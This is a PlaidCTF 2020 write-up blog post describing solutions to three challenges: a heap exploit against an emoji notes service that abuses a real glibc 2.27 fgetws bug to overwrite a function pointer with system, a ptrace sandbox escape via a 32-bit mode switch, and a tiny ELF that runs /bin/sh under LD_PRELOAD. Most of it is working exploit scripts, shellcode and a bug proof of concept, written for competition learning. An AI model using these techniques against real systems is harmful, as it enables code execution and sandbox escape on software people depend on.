PlaidCTF 2020 Writeups
2020-04-20 10:53:00 Author: ptr-yudai.hatenablog.com(查看原文) 阅读量:197 收藏

I played PlaidCTF in shibad0gs and reached 38th place.

f:id:ptr-yudai:20200420105212p:plain

I'm going to write up the challenges I solved during the CTF. I don't write about "YOU wa SHOCKWAVE" as I mostly guessed the flag. (It was about disassembling shockwave media --> finding input which satisfies 21 equations.)

Server: nc emojidb.pwni.ng 9876
File: emojidb-efd43c685db20b699d7d7ded996d7dc475fbd9c0d0b8da4597254d16810fe97f.tar.gz

It seems a heap-exploit challenge. The input is converted from UTF-8 to unicode. There're 4 choices:

  • 🆕:Create and write a note. (Maximum 4 notes, but can make 5th note by bug.)
  • 📖:Show a note. (Just checks the pointer and doesn't check in_use flag)
  • 🆓:Delete a note. (Set in_use flag to 0 but doesn't set the pointer to null.)
  • 🛑:Quit the program.

You can easily find UAF in show function. Every note has in_use flag and it's set to 1 when created, to 0 when deleted. In show function doesn't check the flag, which causes UAF read.

However, the address is recognized as unicode and converted to UTF-8, then leaked. I didn't know how to convert invalid unicode to the original byte array. @aventador told me libc uses wcsnrtombs to convert code. I wrote the following script to convert unicode and UTF-8.

#include <stdio.h>
#include <stdlib.h>
#include <locale.h>
#include <unistd.h>

int main(int argc, char **argv) {
  int i;
  unsigned char out[0x10] = {0};
  unsigned char in[0x10] = {0};
  setlocale(0, "en_US.UTF-8");

  if (argc < 2) {
    printf("Usage: %s [1|2]\n", argv[0]);
    return 1;
  }

  if (argv[1][0] == '1') {
    read(0, in, 0x10);
    mbstowcs((wchar_t*)out, in, 0x10);
    write(1, out, 8);
  } else {
    read(0, in, 8);
    wcstombs(out, (wchar_t*)in, 0x10);
    write(1, out, 0x10);
  }
  return 0;
}

Leak is done, but how to pwn?

He also found a critical information about a bug in libc-2.27.

sourceware.org

This bug was reported in December 2016 but fixed in February 2020. Here is a simple PoC:

#include <locale.h>
#include <wchar.h>
#include <stdlib.h>
#include <stdio.h>

int main(void) {
  setlocale(LC_ALL, "en_US.UTF-8");
  wchar_t *buf = (wchar_t*)calloc(sizeof(wchar_t), 10);
  fgetws(buf, 10, stdin);
  exit(0); 
}

It doesn't seem vulnerable at first glance. However, when we feed a large number of input in fgetws, it'll cause crash in _IO_wfile_sync. This is because fp->_wide_data->_IO_read_ptr - fp->_wide_data->_IO_read_end can be negative.

fgetws is used in the task too, but it doesn't cause crash because wscanf is used after that, which cansumes the input buffer.

One more suspicious thing is 0xAE9. When we give an invalid choice, it just prints "😱" usually. If dword_2020E0 is not zero, it prints our input to stderr. This is suspicious because there's no path to reach here normally. We can reach here by creating 5th chunk and overwrite dword_2020E0.

So, what to do is obvious. We use _IO_wfile_sync of stderr to cause overwrite. As far as I experimented, the bug causes overflow in _IO_wide_data_1. Inside _IO_wide_data is a function pointer.

I overwrote the pointer to system and prepared /bin/sh string in the place where rdi points, which is also in _IO_wide_data.

My exploit:

from ptrlib import *
import time

def show(index):
    sock.sendlineafter(b"\xe2\x9d\x93", "\U0001f4d6".encode('utf-8'))
    sock.recv(9).decode('utf-8')
    sock.sendline(str(index))
    return sock.recvline()

def new(size, data):
    sock.sendafter(b"\xe2\x9d\x93", "\U0001f195".encode('utf-8'))
    sock.recv(9).decode('utf-8')
    sock.send(str(size))
    sock.sendline(data)
    sock.recvline().decode('utf-8')

def free(index):
    sock.sendlineafter(b"\xe2\x9d\x93", "\U0001f193".encode('utf-8'))
    sock.recv(9).decode('utf-8')
    sock.sendline(str(index))
    sock.recvline().decode('utf-8')
    sock.recv(4*6).decode('utf-8')

def flag():
    sock.sendlineafter(b"\xe2\x9d\x93", "\U0001f6a9".encode('utf-8'))

def end():
    sock.sendlineafter(b"\xe2\x9d\x93", "\U0001f6d1".encode('utf-8'))

def utf2uni(x):
    p = Process(["./convert", "1"])
    p.send(x)
    y = p.recv()
    p.close()
    return y
def uni2utf(x):
    p = Process(["./convert", "2"])
    p.send(x)
    y = p.recv().rstrip(b'\x00')
    p.close()
    return y

libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")


while True:
    
    sock = Socket("emojidb.pwni.ng", 9876)

    new(0x110, "A")
    new(0x10, "B")
    free(1)
    x = show(1).strip(b"\xf0\x9f\x86\x95\xf0\x9f\x93\x96\xf0\x9f\x86\x93\xf0\x9f\x9b\x91\xe2\x9d\x93\xf0\x9f\x98\xb1")
    if x[0] == ord('?'):
        logger.warn("Bad luck!")
        sock.close()
        continue

    libc_base = u64(utf2uni(x[:len(x)//2])) - libc.main_arena() - 0x60
    logger.info("libc = " + hex(libc_base))
    if libc_base < 0x7f0000000000:
        logger.warn("Bad luck!")
        sock.close()
        continue
    break


IO_wide_data = libc_base + 0x3eb9e8
system = libc_base + libc.symbol('system')
logger.info("IO_wide_data = " + hex(IO_wide_data))
logger.info("system = " + hex(system))
for i in range(4):
    new(3, "A")
payload = b'A\0\0\0'*3
payload += (uni2utf(p64(IO_wide_data)[:4]) + uni2utf(p64(IO_wide_data)[4:])) * 2
for i in range(4):
    payload += (uni2utf(p64(IO_wide_data)[:4]) + uni2utf(p64(IO_wide_data)[4:])) * 2
payload += uni2utf(b'/bin') + uni2utf(b'/sh\0')
payload += uni2utf(p64(system)[:4]) + uni2utf(b'\xfc\x7f\x00\x00')
payload += uni2utf(b'\xfb\x7f\x00\x00') + uni2utf(b'\xfc\x7f\x00\x00')
payload += b'2' * 10
print(payload)
sock.sendlineafter(b"\xe2\x9d\x93", payload)

sock.interactive()
Server: nc sandybox.pwni.ng 1337
File: sandbox

It's a ptrace sandbox. We can execute 10 bytes shellcode in the child process under some syscall restrictions. The following system calls are allowed:

  • open: The length of filename must be less than 16 bytes. RSI must be O_RDONLY. Must not contain "flag", "proc", "sys" in the filename.
  • alarm: RDI must be less than or equals to 20.
  • mmap / mprotect / munmap: RSI (len) must be less than or equals to 0x1000.
  • read / write / close / fstat / exit_group / exit / getpid: No restriction.

Our goal is open / read and write the contents of ./flag. A challenge from TokyoWestern CTF, Diary, hit my mind. It was about bypassing seccomp by changing CS register in shellcode.

I checked 32-bit system call and BINGO! fstat is allowed and the number is 5, which is open in 32-bit.

We can use retf to change 64-bit to 32-bit. I wrote the following shellcode that allocates buffer in 32-bit address space and reads next (32-bit) shellcode:

global _start
_start:
  mov r9, 0
  mov r8, -1
  mov r10, 0x21
  mov rdx, 7
  mov rsi, 0x1000
  mov rdi, 0x8880000
  mov rax, 9
  syscall
  mov rdi, 0x7770000
  mov rax, 9
  syscall

  mov rdx, 0x100
  mov rsi, 0x7770000
  xor edi, edi
  xor eax, eax
  syscall
  mov rsi, 0x7770800
  xor eax, eax
  syscall

  xor rsp, rsp
  mov esp, 0x8880800
  mov DWORD [esp+4], 0x23
  mov DWORD [esp], 0x7770000
  retf

  db 'EOF'

Then open the flag, read the contents, and return to 64-bit mode:

  global _start:
_start:
  xor eax, eax
  push eax
  mov eax, 0x67616c66
  push eax
  xor edx, edx
  xor ecx, ecx
  mov ebx, esp
  mov eax, 5
  int 0x80

  mov edx, 0x100
  mov ecx, esp
  mov ebx, eax
  mov eax, 3
  int 0x80

  push eax
  push eax
  mov DWORD [esp+4], 0x33
  mov DWORD [esp], 0x7770800
  retf

  mov eax, 1
  int 0x80

hoge:
  db 'EOF'

Here is the exploit:

from ptrlib import *


sock = Socket("sandybox.pwni.ng", 1337)

shellcode  = b'\xb2\xff'     
shellcode += b'\x48\x89\xde' 
shellcode += b'\x31\xc0'     
shellcode += b'\x0f\x05'     
shellcode += b'\x90'
sock.sendafter("> ", shellcode)

with open("shellcode.o", "rb") as f:
    f.seek(0x180)
    shellcode = f.read()
shellcode = shellcode[:shellcode.index(b'EOF')]
shellcode += b'\x90' * (0xff - len(shellcode))
sock.send(shellcode) 

with open("shellcode32.o", "rb") as f:
    f.seek(0x110)
    shellcode = f.read()
shellcode = shellcode[:shellcode.index(b'EOF')]
shellcode += b'\x90' * (0x100 - len(shellcode))
sock.send(shellcode) 

shellcode  = b'\x48\xc7\xc2\x00\x01\x00\x00'
shellcode += b'\x48\x89\xe6'
shellcode += b'\x48\xc7\xc7\x01\x00\x00\x00'
shellcode += b'\x48\xc7\xc0\x01\x00\x00\x00'
shellcode += b'\x0f\x05'
sock.send(shellcode) 

sock.interactive()

The challenge is to make a 64-bit shared object which executes "/bin/sh" when used like

$ LD_PRELOAD=golf.so /bin/true

@akiym wrote 223-byte binary and got the first flag. We needed to cut 30-byte off more in order to get the second flag.

I re-wrote akiym's binary to nasm format. Then I found I could overlap FINI to DYNAMIC section, which dynamically reduces the size.

  BITS 64
  ORG 0x00000000

  db 0x7f, "ELF"                
  dd 0x010102
  dd 0
  dd 0
  dw 3                          
  dw 0x3e                       
  dd 1                          
  db '/bin/sh', 0               
  dq 0x40                       
  call b                        
b:
  pop rdi
  sub rdi, 0x15                 
  xchg esi, eax
  push rax
  jmp c                         
  dw 56                         
  dw 2                          
c:
  push rdi
  push rsp                      
  mov al, 59                    
  jmp d                         

  dd 1                          
  dd 7                          
  dq 0
  dq 0
d:
  pop rsi
  xor edx, edx
  syscall
  nop
  nop
  nop
  dq 0x1d0
  dq 0x1d0
  dq 0x200000

  dd 2                          
  dd 7                          
  dq 0xdeadbeefcafebabe
  dq 0x90
  dq 0xd                        
  dq 0x28                       
  dq 5
  dq 0xdeadbeefcafebabe
  db 6

177 bytes.


文章来源: https://ptr-yudai.hatenablog.com/entry/2020/04/20/105300
如有侵权请联系:admin#unsafe.sh